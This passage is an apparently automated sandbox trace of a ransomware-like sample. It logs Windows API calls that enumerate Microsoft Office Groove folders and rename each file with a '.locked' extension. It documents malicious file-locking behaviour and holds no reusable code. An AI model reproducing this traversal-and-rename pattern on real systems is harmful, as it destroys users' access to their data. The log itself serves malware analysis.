"c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\markupiconimages.jpg.locked"), dwFlags=0x2) returned 1 [0038.192] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\markupiconimagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImagesMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\markupiconimagesmask.bmp.locked"), dwFlags=0x2) returned 1 [0038.195] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb9c02840, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb9c02840, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0038.201] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\addtoviewarrow.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrow.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\addtoviewarrow.jpg.locked"), dwFlags=0x2) returned 1 [0038.205] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrowMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\addtoviewarrowmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrowMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\addtoviewarrowmask.bmp.locked"), dwFlags=0x2) returned 1 [0038.211] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\attention.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\attention.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\attention.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\attention.gif.locked"), dwFlags=0x2) returned 1 [0038.219] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Casual.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_casual.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Casual.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_casual.gif.locked"), dwFlags=0x2) returned 1 [0038.252] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Country.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_country.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Country.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_country.gif.locked"), dwFlags=0x2) returned 1 [0038.260] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Earthy.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_earthy.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Earthy.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_earthy.gif.locked"), dwFlags=0x2) returned 1 [0038.308] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_FormsHomePage.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_formshomepage.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_FormsHomePage.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_formshomepage.gif.locked"), dwFlags=0x2) returned 1 [0038.332] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_FormsHomePageBlank.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_formshomepageblank.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_FormsHomePageBlank.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_formshomepageblank.gif.locked"), dwFlags=0x2) returned 1 [0038.356] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_GreenTea.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_greentea.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_GreenTea.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_greentea.gif.locked"), dwFlags=0x2) returned 1 [0038.357] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Groove.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_groove.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Groove.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_groove.gif.locked"), dwFlags=0x2) returned 1 [0038.368] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_LightSpirit.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_lightspirit.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_LightSpirit.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_lightspirit.gif.locked"), dwFlags=0x2) returned 1 [0038.385] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_OliveGreen.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_olivegreen.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_OliveGreen.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_olivegreen.gif.locked"), dwFlags=0x2) returned 1 [0038.395] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Premium.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_premium.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Premium.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_premium.gif.locked"), dwFlags=0x2) returned 1 [0038.417] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_SlateBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_slateblue.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_SlateBlue.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_slateblue.gif.locked"), dwFlags=0x2) returned 1 [0038.426] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_TexturedBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_texturedblue.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_TexturedBlue.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_texturedblue.gif.locked"), dwFlags=0x2) returned 1 [0038.444] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_VelvetRose.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_velvetrose.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_VelvetRose.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_velvetrose.gif.locked"), dwFlags=0x2) returned 1 [0038.447] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_left.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_left.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_left.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_left.gif.locked"), dwFlags=0x2) returned 1 [0038.449] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_left_disable.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_left_disable.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_left_disable.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_left_disable.gif.locked"), dwFlags=0x2) returned 1 [0038.453] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_left_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_left_over.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_left_over.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_left_over.gif.locked"), dwFlags=0x2) returned 1 [0038.455] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_mid.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_mid.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_mid.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_mid.gif.locked"), dwFlags=0x2) returned 1 [0038.456] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_mid_disable.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_mid_disable.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_mid_disable.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_mid_disable.gif.locked"), dwFlags=0x2) returned 1 [0038.458] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_mid_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_mid_over.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_mid_over.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_mid_over.gif.locked"), dwFlags=0x2) returned 1 [0038.461] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_right.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_right.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_right.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_right.gif.locked"), dwFlags=0x2) returned 1 [0038.463] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_right_disable.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_right_disable.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_right_disable.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_right_disable.gif.locked"), dwFlags=0x2) returned 1 [0038.466] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_right_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_right_over.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_right_over.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_right_over.gif.locked"), dwFlags=0x2) returned 1 [0038.470] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb9eb0100, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb9eb0100, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0038.485] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\Attachments.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\attachments.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\Attachments.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\attachments.jpg.locked"), dwFlags=0x2) returned 1 [0038.502] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DigitalInk.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\digitalink.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DigitalInk.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\digitalink.jpg.locked"), dwFlags=0x2) returned 1 [0038.521] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\EmbeddedView.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\embeddedview.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\EmbeddedView.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\embeddedview.jpg.locked"), dwFlags=0x2) returned 1 [0038.539] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\SectionHeading.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\sectionheading.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\SectionHeading.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\sectionheading.jpg.locked"), dwFlags=0x2) returned 1 [0038.555] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\StaticText.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\statictext.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\StaticText.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\statictext.jpg.locked"), dwFlags=0x2) returned 1 [0038.573] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\UnformattedNumeric.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\unformattednumeric.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\UnformattedNumeric.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\unformattednumeric.jpg.locked"), dwFlags=0x2) returned 1 [0038.577] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsBlankPage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsblankpage.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsBlankPage.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsblankpage.html.locked"), dwFlags=0x2) returned 1 [0038.584] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsBrowserUpgrade.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsbrowserupgrade.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsBrowserUpgrade.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsbrowserupgrade.html.locked"), dwFlags=0x2) returned 1 [0038.588] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsDoNotTrust.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsdonottrust.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsDoNotTrust.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsdonottrust.html.locked"), dwFlags=0x2) returned 1 [0038.594] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepage.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePage.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepage.html.locked"), dwFlags=0x2) returned 1 [0038.602] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePageScript.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepagescript.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePageScript.js.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepagescript.js.locked"), dwFlags=0x2) returned 1 [0038.606] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePageStyle.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepagestyle.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePageStyle.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepagestyle.css.locked"), dwFlags=0x2) returned 1 [0038.609] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsPreviewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formspreviewtemplate.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsPreviewTemplate.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formspreviewtemplate.html.locked"), dwFlags=0x2) returned 1 [0038.612] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsPrintTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsprinttemplate.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsPrintTemplate.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsprinttemplate.html.locked"), dwFlags=0x2) returned 1 [0038.615] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d354f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba006d60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xba006d60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0038.625] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewAttachmentIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewattachmenticons.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewAttachmentIcons.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewattachmenticons.jpg.locked"), dwFlags=0x2) returned 1 [0038.629] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewAttachmentIconsMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewattachmenticonsmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewAttachmentIconsMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewattachmenticonsmask.bmp.locked"), dwFlags=0x2) returned 1 [0038.635] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewFrame.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewframe.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewFrame.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewframe.html.locked"), dwFlags=0x2) returned 1 [0038.645] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormToolImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formtoolimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormToolImages.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formtoolimages.jpg.locked"), dwFlags=0x2) returned 1 [0038.817] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\GrooveFormsMetaData.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\grooveformsmetadata.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\GrooveFormsMetaData.xml.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\grooveformsmetadata.xml.locked"), dwFlags=0x2) returned 1 [0038.824] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\menu_arrow.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\menu_arrow.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\menu_arrow.gif.locked" (normalized: 